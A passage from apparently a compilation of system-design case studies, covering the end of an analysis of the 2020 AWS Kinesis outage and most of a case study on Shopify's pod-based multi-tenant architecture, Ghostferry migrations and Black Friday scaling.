| Amazon Data Firehose | Direct Kinesis dependency |
| AWS IoT Services | Reported to use Kinesis internally |
| Amazon S3 (event notifications) | EventBridge dependency |
| AWS CloudFormation | Multiple AWS API dependencies |
| Amazon Redshift | CloudWatch/logging dependencies |
| Amazon SageMaker | Multiple AWS service dependencies |
| AWS Glue | CloudWatch/logging dependencies |
| Amazon Workspaces | Cognito/authentication dependencies |

## Lessons Learned

### Technical Lessons

#### 1. O(N²) Scaling Patterns Are Time Bombs

**The insight**: Any system where every node must connect to every other node creates O(N²) aggregate resource consumption. In Kinesis's case, N servers each creating N-1 threads meant total thread count across the fleet was N×(N-1). This scales quadratically, but the limit is reached linearly on each individual server. As the fleet grows, the remaining headroom before hitting the per-server limit shrinks—and a "small" capacity addition can cross the threshold.

**How it applies elsewhere:**

- Service meshes with full-mesh connectivity between sidecar proxies
- Gossip protocols where every node communicates with every other node
- Coordination services (ZooKeeper, etcd) where leader election or consensus involves all participants
- Database connection pools where every application server holds a connection to every database node

**Warning signs to watch for:**

- Per-node resource consumption (threads, connections, file descriptors) that grows with cluster size
- Capacity additions that cause disproportionate resource growth on existing nodes
- Resource usage approaching OS or hardware limits that was "fine" at smaller scale

#### 2. Untested Failsafes Are Worse Than No Failsafes

**The insight**: Cognito's analytics buffer was explicitly designed for Kinesis unavailability. But because it was never tested against a prolonged, complete Kinesis failure, it contained a latent bug (blocking when full) that transformed a non-critical analytics dependency into a service-killing failure. A service without any buffer would have simply dropped analytics data and continued serving requests.

**How it applies elsewhere:**

- Circuit breakers that have never tripped in production
- Fallback code paths that have never been exercised under realistic conditions
- Graceful degradation logic that was code-reviewed but never chaos-tested
- Retry policies with backoff that have never been tested under sustained failure

**Warning signs to watch for:**

- Fallback paths that exist in code but have no production metrics (hit rate, latency, error rate)
- Dependencies classified as "non-critical" that have never actually been unavailable
- Buffer implementations without bounded capacity and non-blocking overflow behavior

#### 3. Monitoring Must Not Depend on the Things It Monitors

**The insight**: CloudWatch's dependency on Kinesis created a blindness loop—the system designed to detect failures was itself impaired by the failure. This delayed both detection and recovery for AWS internal teams and customers.

**How it applies elsewhere:**

- Application monitoring that routes through the same load balancers, networks, or services as production traffic
- Alerting systems that depend on the message queues they are supposed to monitor
- Health check infrastructure that shares fate with the services it checks
- Logging pipelines that fail silently when the services they log to are down

**Warning signs to watch for:**

- Your monitoring/alerting pipeline shares any infrastructure component with production services
- During past incidents, you noticed gaps in your observability data
- Your status page or incident communication tools authenticate through production services

#### 4. Cell-Based Architecture Contains Blast Radius

**The insight**: Kinesis's back-end was already cellularized and survived the incident. The front-end was monolithic—every server connected to every other server—so the failure was fleet-wide. Cellularization would have bounded the failure to a single cell, affecting only a fraction of traffic.

**How it applies elsewhere:**

- Any stateless fleet where every node must know about every other node
- Services where a configuration change or deployment rolls across the entire fleet simultaneously
- Systems where a single bad deployment or configuration can affect 100% of capacity

#### 5. Control Plane Operations Must Not Take Down the Data Plane

**The insight**: A capacity change (control plane operation) brought down request processing (data plane). The control plane and data plane shared the same OS-level resources (threads). Strict separation—where control plane operations cannot exhaust data plane resources—would have prevented the outage.

**How it applies elsewhere:**

- Any service where administrative operations (scaling, configuration, deployment) run on the same instances as request processing
- Database systems where schema changes or replication can starve query processing
- Message queues where topic creation or partition rebalancing affects message delivery

### Process Lessons

#### 1. Know Your Recovery Rate Before You Need It

**What happened**: The Kinesis team knew that a full fleet restart was possible but slow. The actual rate—a few hundred servers per hour in a fleet of many thousands—meant recovery took 12+ hours from the point of decision.

**What this means**: For any large stateful fleet, calculate the worst-case recovery time. If it is unacceptable (as 12+ hours would be for most teams), invest in faster cold-start procedures, dedicated cache warming infrastructure, or smaller blast radius through cellularization before the incident occurs.

#### 2. Status Communication Infrastructure Must Be Independent

**What happened**: The Service Health Dashboard could not be updated because its publishing tool depended on Cognito, which depended on Kinesis. The backup tool existed but was unfamiliar to operators.

**What this means**: Test your incident communication tools during gamedays. Ensure they have zero dependency on the services they report on. Drill operators on backup procedures regularly.

## Applying This to Your System

### When This Pattern Applies

You might face similar challenges if:

- Your service uses a **full-mesh communication pattern** (every node connects to every other node)
- Your per-node resource consumption (threads, connections, file descriptors) **scales with cluster size**
- Your **monitoring depends on the same infrastructure** as your production services
- You have **fallback or degradation code paths** that have never been tested under prolonged failure
- Your **control plane and data plane share resources** on the same instances

### Checklist for Evaluation

- [ ] Map your service's per-node resource usage and how it scales with cluster size
- [ ] Identify per-node resource limits (OS thread limits, file descriptor limits, connection pool maximums) and current headroom
- [ ] Trace your monitoring pipeline's dependencies—does it share fate with production?
- [ ] Identify all "non-critical" dependencies and test what happens when each is unavailable for 1+ hours
- [ ] Calculate worst-case fleet restart time and whether it meets your Recovery Time Objective (RTO)
- [ ] Verify your incident communication tools work when your core services are down
- [ ] Test your circuit breakers and fallback paths under sustained (not transient) failure

### Starting Points

If you want to evaluate your risk:

1. **Audit per-node scaling**: For each service, plot per-node resource consumption (threads, connections, memory) against cluster size. If any resource grows linearly with cluster size, you have an O(N²) aggregate pattern.
2. **Test your failsafes**: Run a gameday where a "non-critical" dependency is unavailable for 2+ hours. Observe whether graceful degradation actually works or whether it blocks, leaks, or crashes.
3. **Map monitoring dependencies**: Draw the dependency graph for your monitoring and alerting pipeline. Any shared node with production is a blind-spot risk.
4. **Measure cold-start time**: Restart a single instance of your service and measure time-to-healthy. Multiply by fleet size divided by safe restart batch size. That is your worst-case recovery time.

## Conclusion

The 2020 Kinesis outage is a study in how latent architectural decisions compound into systemic failures. The thread-per-peer gossip protocol was a reasonable design at smaller fleet sizes. The monolithic front-end fleet was simpler to operate than a cellularized one. Cognito's analytics buffer was a thoughtful attempt at graceful degradation. CloudWatch's use of Kinesis for metric ingestion was an efficient architectural choice.

Each decision was defensible in isolation. Together, they created a system where a small capacity addition could exceed a thread limit, collapse an entire fleet, blind the monitoring system, block an authentication service, and prevent operators from even posting status updates—all in a single correlated failure.

The transferable insight is not about thread limits or gossip protocols specifically. It is about recognizing when independently reasonable design choices create hidden coupling: O(N²) resource patterns that approach hard limits, monitoring that shares fate with production, failsafes that have never been tested under realistic failure, and recovery procedures that take longer than anyone has planned for. These patterns exist in most large systems. The question is whether you find them before a capacity change does.

## Appendix

### Prerequisites

- Understanding of distributed systems concepts (gossip protocols, shard-based partitioning, fleet management)
- Familiarity with OS-level resource limits (thread limits, process limits, file descriptors)
- Knowledge of cascading failure patterns (thundering herd, resource contention, correlated failures)
- Basic understanding of AWS service architecture (Kinesis, CloudWatch, Lambda, Cognito)

### Terminology

| Term | Definition |
|------|-----------|
| **Shard-map cache** | A per-server routing table in Kinesis front-end servers containing fleet membership, shard ownership, and back-end health data |
| **Front-end fleet** | The layer of Kinesis servers that handle authentication, throttling, and request routing to back-end clusters |
| **Gossip protocol** | A peer-to-peer communication pattern where each node exchanges state with other nodes to propagate updates across the fleet |
| **Cell-based architecture** | A pattern where infrastructure is divided into independent cells (sub-fleets), each serving a subset of traffic, to contain blast radius |
| **Thundering herd** | A failure pattern where many processes simultaneously attempt the same resource-intensive operation, causing contention that prevents any of them from succeeding |
| **Control plane** | The management layer responsible for configuration, scaling, and orchestration (as opposed to the data plane that handles actual requests) |
| **Data plane** | The layer that processes actual customer requests (as opposed to the control plane that manages the system) |
| **O(N²) scaling** | A growth pattern where aggregate resource consumption grows quadratically with the number of nodes—common in full-mesh communication topologies |
| **RLIMIT_NPROC** | A Linux resource limit that caps the maximum number of processes (and threads) a user can create |
| **pid_max** | A Linux kernel parameter (`/proc/sys/kernel/pid_max`) that sets the maximum PID value, effectively capping the total number of concurrent processes/threads |

### Summary

- A routine capacity addition to the Kinesis front-end fleet pushed per-server OS thread counts past the configured limit, because the gossip protocol created one thread per peer (O(N) per server, O(N²) aggregate)
- Every front-end server failed simultaneously—the fleet was monolithic (not cellularized), so there was no blast radius containment
- Recovery took ~17 hours because restarting servers too quickly triggered thundering herd effects: shard-map construction starved request processing, health checks failed, and servers were removed faster than they could rejoin
- CloudWatch depended on Kinesis for metric ingestion, creating a monitoring blind spot during the incident; Cognito's untested buffer bug blocked authentication; the Service Health Dashboard could not post updates because it authenticated through Cognito
- AWS committed to cellularizing the front-end fleet, migrating to larger instances, deploying fine-grained thread alarming, and isolating CloudWatch onto a separate partitioned fleet

### References

- [Summary of the Amazon Kinesis Event in the Northern Virginia (US-EAST-1) Region](https://aws.amazon.com/message/11201/) — AWS Official Post-Event Summary, November 2020. Primary source for all timeline, root cause, and corrective action details.
- [AWS Post-Event Summaries](https://aws.amazon.com/premiumsupport/technology/pes/) — AWS index of all public post-event summaries.
- [Guidance for Cell-Based Architecture on AWS](https://aws.amazon.com/solutions/guidance/cell-based-architecture-on-aws/) — AWS architectural guidance directly influenced by lessons from this and similar incidents.
- [Lessons from the AWS Kinesis Outage](https://www.evanjones.ca/kinesis-outage.html) — Evan Jones. Analysis of O(N²) scaling, recovery constraints, and Cognito's untested failsafe.
- [AWS Kinesis Outage](https://linuxczar.net/blog/2020/12/07/aws-kinesis-outage/) — LinuxCzar. Analysis of Linux kernel thread limits and symptom-based vs. cause-based alerting.
- [Kinesis Hits the Thread Limit](https://downtimeproject.com/podcast/kinesis-hits-the-thread-limit/) — The Downtime Project podcast. Detailed architectural reconstruction of the gossip protocol and thread model.
- [AWS Kinesis Outage Analysis](https://ryanfrantz.com/posts/aws-kinesis-outage-analysis.html) — Ryan Frantz. Analysis of dependency chains and the coupling of CloudWatch with EventBridge.
- [AWS reveals it broke itself by exceeding OS thread limits](https://www.theregister.com/2020/11/30/aws_outage_explanation/) — The Register. Reporting on the AWS postmortem with customer impact context.
- [AWS admits to 'severely impaired' services in US-EAST-1](https://www.theregister.com/2020/11/25/aws_down/) — The Register. Day-of reporting with affected service list and customer impact.

---

## Shopify: Pod Architecture for Multi-Tenant Isolation at Scale

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/shopify-pod-architecture
**Category:** System Design / Real-World Case Studies
**Description:** How Shopify evolved from a single-database Rails monolith to a pod-based architecture that isolates millions of merchants into self-contained units — surviving 284 million edge requests per minute during Black Friday 2024 while maintaining sub-10-second failover. This case study examines why sharding alone wasn’t enough, how pods enforce blast radius containment, the zero-downtime migration tooling that moves shops between pods in seconds, and the organizational patterns that let 1,000+ developers deploy 40 times a day to a 2.8-million-line Ruby codebase.

# Shopify: Pod Architecture for Multi-Tenant Isolation at Scale

How Shopify evolved from a single-database Rails monolith to a pod-based architecture that isolates millions of merchants into self-contained units — surviving 284 million edge requests per minute during Black Friday 2024 while maintaining sub-10-second failover. This case study examines why sharding alone wasn't enough, how pods enforce blast radius containment, the zero-downtime migration tooling that moves shops between pods in seconds, and the organizational patterns that let 1,000+ developers deploy 40 times a day to a 2.8-million-line Ruby codebase.

<figure>

![Shopify's pod architecture: stateless workers are shared, stateful stores are isolated per pod, and cross-pod data flows only through an eventually consistent CDC pipeline.](./shopify-s-pod-architecture-stateless-workers-are-shared-stateful-stores-are-isol.svg)

<figcaption>Shopify's pod architecture: stateless workers are shared, stateful stores are isolated per pod, and cross-pod data flows only through an eventually consistent CDC pipeline.</figcaption>
</figure>

## Abstract

A **pod** is a fully isolated set of datastores — MySQL shard, Redis, Memcached, cron runners — that serves a subset of shops with zero cross-pod communication. Stateless workers (app servers, job runners) are shared and route to the correct pod via a `shop_id` header injected by the **Sorting Hat** (Lua on OpenResty). The core insight: sharding databases horizontally solved write throughput, but left shared resources (Redis, Memcached) as single points of failure. The "Redismageddon" incident (~2016) — where one Redis failure took down all of Shopify — proved that **isolation at the data layer, not just partitioning**, was the missing design constraint.

Key architectural properties:

- **Blast radius containment**: A pod failure affects only the shops on that pod, not the entire platform
- **Independent failover**: Each pod has an active + recovery datacenter pair; failover completes in ~1 minute via a Slack command
- **Zero-downtime rebalancing**: Ghostferry (open-source, Go) moves shops between pods with 2.5-second average downtime using binlog tailing and formal verification (TLA+)
- **Noisy neighbor elimination**: Resource-intensive merchants (celebrity flash sales) get dedicated pods
- **Operational independence**: No pod-to-pod queries; cross-pod analytics flow through Debezium CDC into Kafka (65,000 records/second average, P99 < 10 seconds)

## Context

### The System

Shopify is a multi-tenant e-commerce platform built on Ruby on Rails. The monolith has been in continuous operation since 2006, never rewritten — only restructured.

| Metric                            | Value (2018)       | Value (2024-2025)              |
| --------------------------------- | ------------------ | ------------------------------ |
| Merchants                         | 600,000+           | 5.5+ million                   |
| Database pods                     | 100+               | 100+ (larger capacity per pod) |
| Peak requests/minute (edge)       | 4.8 million        | 284 million                    |
| Peak requests/minute (app server) | —                  | 80 million                     |
| Ruby codebase                     | 2.8 million+ lines | Growing                        |
| Developers                        | 1,000+             | 3,000+                         |
| Deploys per day                   | ~40                | ~40                            |
| Production services               | ~100               | 400+                           |

**Tech stack**: Ruby on Rails (monolith), MySQL (primary datastore, petabyte-scale), Redis, Memcached, Apache Kafka, Elasticsearch, Kubernetes on GKE (Google Kubernetes Engine), nginx + OpenResty (load balancing), Go and Lua (infrastructure tooling).

### The Trigger

**2015**: Shopify hit the vertical scaling ceiling — it was no longer possible to buy a larger database server. The team implemented horizontal database sharding using `shop_id` as the partition key.

Sharding solved write throughput. But it introduced a new class of risk: when any individual shard failed, the operation it handled became unavailable across the _entire_ platform. As shard count grew, the probability of at least one shard being down at any given moment increased linearly. Worse, critical shared resources — Redis for caching and session storage, Memcached for content caching — remained un-sharded. Every shop on the platform shared these instances.

### The Catalytic Incident: Redismageddon (~2016)

A single Redis instance failure took down all of Shopify. Every shop, every storefront, every checkout — offline because of one crashed process. The team had sharded MySQL for throughput, but every shard still depended on the same Redis cluster. The architecture had traded one single point of failure (the database) for another (shared caching infrastructure).

This incident reframed the problem. The question shifted from "how do we scale throughput?" to "how do we contain blast radius?"

### Constraints

- **No rewrite**: Shopify's monolith is the product. Rewriting to microservices was not an option for a profitable, growing platform with 1,000+ developers shipping daily.
- **Zero-downtime requirement**: Merchants depend on Shopify for revenue 24/7. Any migration must be invisible to shop owners.
- **Multi-tenancy is the business model**: Shopify runs millions of shops on shared infrastructure. The architecture must handle extreme variance in tenant load — from a single-product hobby shop to Kylie Jenner's flash sale generating thousands of orders per second.
- **Organizational velocity**: ~400 commits merged to master daily (as of 2019). The architecture cannot slow down developer productivity.

## The Problem

### Symptoms

Before pods, Shopify's sharded architecture exhibited three failure patterns:

**1. Cross-tenant blast radius**: A failure in any shared resource (Redis, Memcached, load balancer config) affected every shop on the platform. Shopify's SRE (Site Reliability Engineering) team couldn't bound the impact of any single failure.

**2. Noisy neighbor amplification**: Celebrity product launches (flash sales) generate traffic spikes 100x normal. When Kylie Jenner drops a new product, the traffic spike for that one shop competes for shared Redis connections, Memcached capacity, and cron scheduling with every other merchant.

**3. Failover granularity too coarse**: Failing over the entire platform between datacenters is slow, risky, and affects all merchants. There was no way to fail over just the affected shops.

### Root Cause Analysis

The root cause was architectural, not operational: **sharding partitions data but doesn't partition failure domains**.

After database sharding, Shopify's architecture looked like this:

![Diagram](./diagram-1.svg)

The MySQL shards were isolated from each other, but every other stateful component was shared. A shard failure affected operations for shops on that shard. A Redis failure affected _all_ shops.

**Why it wasn't obvious**: Database sharding is commonly treated as a complete horizontal scaling solution. The failure mode — shared auxiliary services becoming the new bottleneck — only manifests under specific failure conditions or extreme load variance between tenants. In normal operation, shared Redis and Memcached perform well. The problem is revealed by failures and extreme spikes, not by steady-state traffic.

## Options Considered

### Option 1: Full Microservices Decomposition

**Approach**: Break the Rails monolith into independent services, each with its own datastore and scaling characteristics.

**Pros**:

- Independent scaling per service
- Technology flexibility per service
- Smaller blast radius per service failure

**Cons**:

- Massive engineering effort for a 2.8-million-line codebase with 1,000+ developers
- Distributed systems complexity (distributed transactions, eventual consistency, service mesh)
- Loss of Rails productivity benefits (ActiveRecord associations, shared models, unified deployment)
- Years of migration work with uncertain payoff

**Why not chosen**: Shopify's monolith is the product — the tight coupling enables rapid feature development. Tobi Lutke (CEO) and the engineering leadership explicitly rejected microservices in favor of keeping the monolith and isolating the infrastructure beneath it. The team observed that many companies' microservices migrations created more operational complexity than they solved.

### Option 2: Database-Level Multi-Tenancy (Separate Databases per Tenant)

**Approach**: Give each merchant their own database, Salesforce-style.

**Pros**:

- Perfect tenant isolation
- Simple mental model

**Cons**:

- 5.5 million separate databases is operationally untenable
- Schema migrations across millions of databases take weeks or months
- Connection pooling and resource management at that scale is unsolved
- Most shops are small — a dedicated database per hobby shop wastes resources

**Why not chosen**: The variance in merchant size makes per-tenant databases impractical. A pod containing thousands of small shops and a dedicated pod for one large merchant provides better resource utilization.

### Option 3: Pod Architecture (Chosen)

**Approach**: Group shops into pods. Each pod gets its own complete set of stateful infrastructure (MySQL, Redis, Memcached, cron). Stateless workers remain shared and route to the correct pod per request.

**Pros**:

- Blast radius bounded to pod size (typically thousands of shops, not millions)
- Shared infrastructure benefits retained for stateless components
- Incremental migration — shops move between pods without downtime
- Noisy neighbors isolated by assigning them dedicated pods
- Failover granularity at pod level (~1 minute) instead of platform level

**Cons**:

- Cross-pod queries prohibited — analytics and reporting need separate solutions
- Operational complexity of managing 100+ pods
- Migration tooling must guarantee zero data loss during shop moves
- Global features (platform-wide analytics, admin dashboards) require CDC pipelines

**Why chosen**: Pods solve the blast radius problem without abandoning the monolith. The architecture constrains _where_ failures propagate rather than trying to prevent them entirely.

### Decision Factors

| Factor                        | Microservices       | Per-Tenant DB         | Pod Architecture  |
| ----------------------------- | ------------------- | --------------------- | ----------------- |
| Migration effort              | Years, high risk    | Months, moderate risk | Months, low risk  |
| Developer productivity impact | High (new paradigm) | Low                   | Low               |
| Blast radius containment      | Per service         | Per tenant            | Per pod (tunable) |
| Operational complexity        | Very high           | Very high at scale    | Moderate          |
| Preserves monolith benefits   | No                  | Yes                   | Yes               |
| Incremental adoption          | Difficult           | Difficult             | Natural           |

## Implementation

### Architecture: Before and After

**Before (Sharded Monolith)**:

<figure>

![Pre-pod architecture: MySQL shards provide write throughput scaling, but Redis, Memcached, and cron are shared across all shops — single points of failure.](./pre-pod-architecture-mysql-shards-provide-write-throughput-scaling-but-redis-mem.svg)

<figcaption>Pre-pod architecture: MySQL shards provide write throughput scaling, but Redis, Memcached, and cron are shared across all shops — single points of failure.</figcaption>
</figure>

**After (Pod Architecture)**:

<figure>

![Pod architecture: each pod is a complete, isolated set of stateful infrastructure. Dedicated pods serve high-traffic merchants. Stateless workers are shared and route via shop_id.](./pod-architecture-each-pod-is-a-complete-isolated-set-of-stateful-infrastructure-.svg)

<figcaption>Pod architecture: each pod is a complete, isolated set of stateful infrastructure. Dedicated pods serve high-traffic merchants. Stateless workers are shared and route via shop_id.</figcaption>
</figure>

**Key differences**:

1. **Redis isolated per pod**: A Redis failure in Pod 1 affects only Pod 1's shops
2. **Memcached isolated per pod**: Cache invalidation storms are pod-scoped
3. **Cron isolated per pod**: Background jobs for one pod can't starve another pod's jobs
4. **Dedicated pods for large merchants**: Kylie Jenner gets her own pod — her flash sale can't affect other shops

### Request Routing: The Sorting Hat

The Sorting Hat is a Lua script running on nginx + OpenResty load balancers. It determines which pod should handle each incoming request.

**Routing flow**:

1. Request arrives at the nginx load balancer
2. Sorting Hat looks up the request's host/domain in a routing table
3. Injects a header identifying the target pod
4. Forwards the request to the shared application worker pool
5. The application worker reads the pod header and connects to the correct MySQL, Redis, and Memcached instances

Routing rules are stored as JSON payloads in a control plane, managed via a chatbot interface called **spy**. This makes routing changes operationally simple — an engineer can move a shop to a different pod by updating the routing table through a chat command.

### Additional Load Balancer Scripts

Shopify runs several other Lua scripts on their OpenResty load balancers — what the team calls their "secret weapon for surviving spikes":

| Script          | Function                                                                                                           |
| --------------- | ------------------------------------------------------------------------------------------------------------------ |
| **Sorting Hat** | Routes requests to the correct pod                                                                                 |
| **BotSquasher** | Analyzes Kafka request streams to identify and block bot traffic using pattern detection                           |
| **EdgeCache**   | Bypasses the application stack entirely, serving cached content directly from Memcached at the load balancer level |
| **Pauser**      | Queues requests during pod failover to prevent error responses reaching merchants                                  |

The **Pauser** script is particularly notable for failover: instead of returning errors while a pod moves between datacenters, the load balancer holds requests in a queue and replays them once the pod is available on the target datacenter. This is what enables sub-10-second perceived downtime during failover.

### Database Sharding Strategy

MySQL is the primary datastore, operating at petabyte scale. The sharding key is `shop_id`, which is attached to every shop-owned table.

**Design decisions**:

- **Application-level sharding**: The Rails application determines which shard to query based on `shop_id`, not a database proxy. This keeps the routing logic in the same codebase where the queries are written.
- **One shard per pod**: Each pod contains exactly one MySQL shard. This simplifies the mapping — pod identity equals shard identity.
- **shop_id on every table**: Every table that stores shop-specific data includes a `shop_id` column. This is an invariant enforced across the codebase. Without it, the application can't route queries to the correct pod.

### Cross-Pod Data: The CDC Pipeline

The strict no-cross-pod-queries rule means global views of the data (analytics dashboards, platform-wide reporting) require a separate data path. Shopify built a Change Data Capture (CDC) pipeline using Debezium, Kafka, and Presto.

| Component                     | Role                                               |
| ----------------------------- | -------------------------------------------------- |
| **Debezium**                  | Reads MySQL binlogs from each pod's shard          |
| **Kafka Connect**             | ~150 connectors across 12 Kubernetes pods          |
| **Confluent Schema Registry** | Avro schemas for change events                     |
| **Apache Kafka**              | Central event bus (400+ TB of CDC data)            |
| **Presto**                    | Cross-pod analytical queries on the data warehouse |

**Pipeline numbers (2021)**:

- 65,000 records/second average throughput
- 100,000 records/second at peak
- P99 latency under 10 seconds from MySQL insertion to Kafka availability

This pipeline is **read-only and eventually consistent**. There are no cross-pod writes. If an analytics dashboard shows data that is a few seconds stale, that's acceptable. If a transactional operation needs data from another pod, it's a sign the data model needs restructuring — not that the architecture needs cross-pod queries.

### Zero-Downtime Shop Migration: Ghostferry

Ghostferry is Shopify's open-source (Go) tool for moving shops between MySQL shards — and therefore between pods — without downtime.

**Three-phase migration**:

**Phase 1 — Batch copy + binlog tailing**: Ghostferry iterates through source tables, selecting rows by `shop_id`. Simultaneously, it streams the MySQL binary log, filtering for changes to the relevant shop's data. Both operations run concurrently across multiple tables.

**Phase 2 — Cutover**: When the binlog queue reaches near real-time (seconds of lag), Ghostferry acquires application-level locks (multi-reader-single-writer, backed by Redis) to halt writes to the shop being moved. It records the final binlog coordinate as the stopping point.

**Phase 3 — Routing update**: The Sorting Hat's routing table is updated to point the shop's domain at the target pod. Locks are released, writes resume against the new pod. A verification suite confirms data integrity.

**Performance**: 2.5 seconds average downtime per shop (2018 numbers). Bart de Water reported at QCon 2022 that most stores experience under 10 seconds of downtime, with larger stores under 20 seconds.

**Scale**: Hundreds of thousands of shops are moved between pods every year for rebalancing.

**Correctness**: The central migration algorithm is formally specified in **TLA+** (Temporal Logic of Actions). This formal verification caught edge cases that testing alone would not — particularly around race conditions when concurrent writes land on different shards during migration.

### Pod Balancer: Automated Rebalancing

As traffic patterns change and new merchants onboard, pods can become imbalanced. The **pod balancer** uses historical database utilization and traffic data to:

1. Classify shops by resource requirements
2. Identify overloaded pods
3. Move resource-intensive shops to less crowded pods
4. Assign prominent merchants to dedicated pods for complete isolation

This is a continuous, data-driven process — not a one-time migration. The goal is to keep each pod's resource utilization within acceptable bounds while ensuring noisy neighbors don't share pods with many small merchants.

### Disaster Recovery: Pod Mover

Each pod is paired with two datacenters: active and recovery. The **Pod Mover** tool moves a pod to its recovery datacenter in approximately one minute.

**Operational model**: Failover is triggered via a **Slack command**. An SRE types a command, and the pod's traffic redirects to the recovery datacenter. The Pauser script queues in-flight requests during the switch, so merchants don't see errors.

**Datacenter evacuation**: Moving an entire datacenter means evacuating each pod one at a time. Since each pod moves independently in ~1 minute, a full datacenter evacuation takes minutes, not hours.

### Cloud Migration

In 2018, Shopify partnered with Google Cloud to migrate from physical datacenters to GKE. Key numbers from the migration:

- 800,000+ tenants migrated
- 50%+ of datacenter workloads moved to GCP (Google Cloud Platform)
- 400+ production services consolidated on Kubernetes
- Dale Neufeld (VP of Production Engineering) led the effort

The pod architecture made this migration tractable: each pod could be moved to GCP independently, validated, and rolled back if needed. Without pods, the migration would have been an all-or-nothing event.

### Resiliency Toolkit

Shopify built and open-sourced several tools for ensuring pod-level and platform-level resilience:

| Tool                  | Purpose                                               | Notes                                                                                                                    |
| --------------------- | ----------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------ |
| **Semian**            | Circuit breaker + bulkheading for Ruby                | In production since October 2014. Prevents cascading failures by failing fast when downstream services are unhealthy.    |
| **Toxiproxy**         | Network condition simulation and fault injection (Go) | Simulates latency, partitions, and failures in test and staging.                                                         |
| **Genghis**           | Internal load generator                               | Runs scripted user workflows using Lua scripts across 3 GCP regions. Used to validate pod capacity before BFCM.          |
| **Resiliency Matrix** | Operational playbook                                  | Documents service status, failure scenarios, recovery procedures with RTOs (Recovery Time Objectives), on-call coverage. |

### Modular Monolith: Componentization

Parallel to the pod infrastructure work, Shopify restructured the monolith's internal code organization using a "componentization" approach (initially called "Break-Core-Up-Into-Multiple-Pieces").

**2017**: The team catalogued all 6,000 Ruby classes into a spreadsheet, manually labeling each class's target component. They reorganized from the default Rails structure (`models/views/controllers`) to domain-driven organization. This was executed via automated scripts in a single large PR.

**2020**: Shopify released **Packwerk**, an open-source Ruby gem for static dependency analysis. The monolith was organized into 37 components with defined public entrypoints.

**2024 retrospective**: Packwerk became less central over time. A retrospective noted that the tool identified problems faster than teams could fix them, and the domain-based component boundaries sometimes misaligned with actual code dependencies. Privacy checks were removed in Packwerk v3.0 due to architectural misalignment.

The componentization story illustrates an important lesson: **infrastructure isolation (pods) and code organization (components) are complementary but independent concerns**. Pods solved the operational blast radius problem. Components addressed developer cognitive load. Both were necessary, but solving one didn't solve the other.

## Outcome

### BFCM Performance Over Time

Black Friday/Cyber Monday (BFCM) is Shopify's annual stress test. The pod architecture's impact is visible in the platform's ability to handle exponentially growing traffic:

| Metric                | BFCM 2018    | BFCM 2024           |
| --------------------- | ------------ | ------------------- |
| Total sales           | $1.5 billion | $11.5 billion       |
| Peak sales rate       | —            | $4.6 million/minute |
| Edge requests (total) | —            | 1.19 trillion       |
| Database queries      | —            | 10.5 trillion       |
| Database writes       | —            | 1.17 trillion       |
| Data processed        | —            | 57.3 petabytes      |
| Customers served      | —            | 76+ million         |
| Platform uptime       | 99.98%       | 99.99%+             |

### Operational Improvements

| Metric                        | Before Pods           | After Pods              |
| ----------------------------- | --------------------- | ----------------------- |
| Blast radius of Redis failure | All shops             | One pod's shops         |
| Failover granularity          | Entire platform       | Per pod (~1 minute)     |
| Flash sale isolation          | None (noisy neighbor) | Dedicated pod           |
| Shop migration downtime       | Hours (manual)        | 2.5 seconds (automated) |
| Datacenter evacuation         | Hours, high risk      | Minutes (pod by pod)    |

### BFCM 2025 Readiness Testing

Shopify's readiness process demonstrates pod architecture maturity. The team runs escalating load tests in the months before BFCM:

| Test          | Peak RPM                 | Purpose             |
| ------------- | ------------------------ | ------------------- |
| Test 1        | Baseline                 | Validate monitoring |
| Test 4        | 146 million RPM          | Sustained load      |
| P99 test      | 200 million RPM          | Extreme spike       |
| Peak checkout | 80,000+ checkouts/minute | Payment path stress |

These tests run against the actual production pod infrastructure. Each pod is independently validated for capacity. If a specific pod is underprovisioned, the pod balancer redistributes shops before BFCM.

### Unexpected Benefits

- **Multi-region deployment**: Pods made multi-region trivial — each pod can run in a different region based on merchant geography. This was impractical with a shared-everything architecture.
- **GCP migration tractability**: The cloud migration to GKE could proceed pod by pod, with independent validation and rollback per pod.
- **Compliance isolation**: Merchants with specific data residency requirements can be placed on pods in compliant regions.

### Remaining Limitations

- **No cross-pod transactions**: Features that need data from multiple pods require eventual consistency via the CDC pipeline. This constrains certain product features.
- **Operational complexity**: Managing 100+ pods requires sophisticated tooling. The pod balancer, Ghostferry, Pod Mover, and Sorting Hat are all critical infrastructure that must be maintained.
- **Schema migrations**: Altering MySQL schemas across 100+ shards requires coordination. Shopify uses online schema change tools, but complex migrations still require careful orchestration.

## Lessons Learned

### Technical Lessons

#### 1. Sharding Partitions Data, Not Failure Domains

**The insight**: Horizontal database sharding solves throughput scaling but does nothing for blast radius. Every shared resource above the shard layer (caches, queues, schedulers) remains a single point of failure. True multi-tenant isolation requires isolating the entire stateful stack — not just the database.

**How it applies elsewhere**:

- If you've sharded your database but share Redis/Memcached across shards, you have the same vulnerability Shopify had pre-pods
- SaaS platforms with per-tenant databases but shared cache layers are exposed to the same cross-tenant blast radius

**Warning signs to watch for**:

- A cache failure affects tenants on multiple shards
- A single background job queue serves all shards
- Failover is all-or-nothing, not per-shard

#### 2. Isolation Is More Valuable Than Optimization

**The insight**: Pods sacrifice some efficiency (duplicated Redis and Memcached per pod) for isolation. This is the correct tradeoff for multi-tenant systems at Shopify's scale. The cost of duplicated caches is far less than the cost of a platform-wide outage caused by a shared cache failure.

**How it applies elsewhere**:

- Cell-based architecture (AWS, Azure) applies the same principle at cloud-provider scale
- Kubernetes namespace isolation, while not as strong as Shopify's pods, follows a similar philosophy

**Warning signs to watch for**:

- Cost optimization efforts that consolidate shared resources across tenants
- Arguments that "cache hit rates will be lower with smaller pools" — true, but irrelevant if the alternative is global outages

#### 3. Zero-Downtime Migration Is a Feature, Not a Luxury

**The insight**: Ghostferry's 2.5-second shop migration downtime enables continuous rebalancing. Without this capability, pod assignment would be static, leading to growing imbalances and eventually the same noisy-neighbor problem pods were designed to solve.

**How it applies elsewhere**:

- Any sharded system that can't rebalance tenants between shards will develop hotspots
- The investment in live migration tooling pays dividends in operational flexibility for years

**Warning signs to watch for**:

- Shard rebalancing requires maintenance windows
- Moving a tenant between shards takes hours or involves data loss risk
- Operations teams avoid rebalancing because it's too risky

#### 4. Formal Verification Catches What Testing Misses

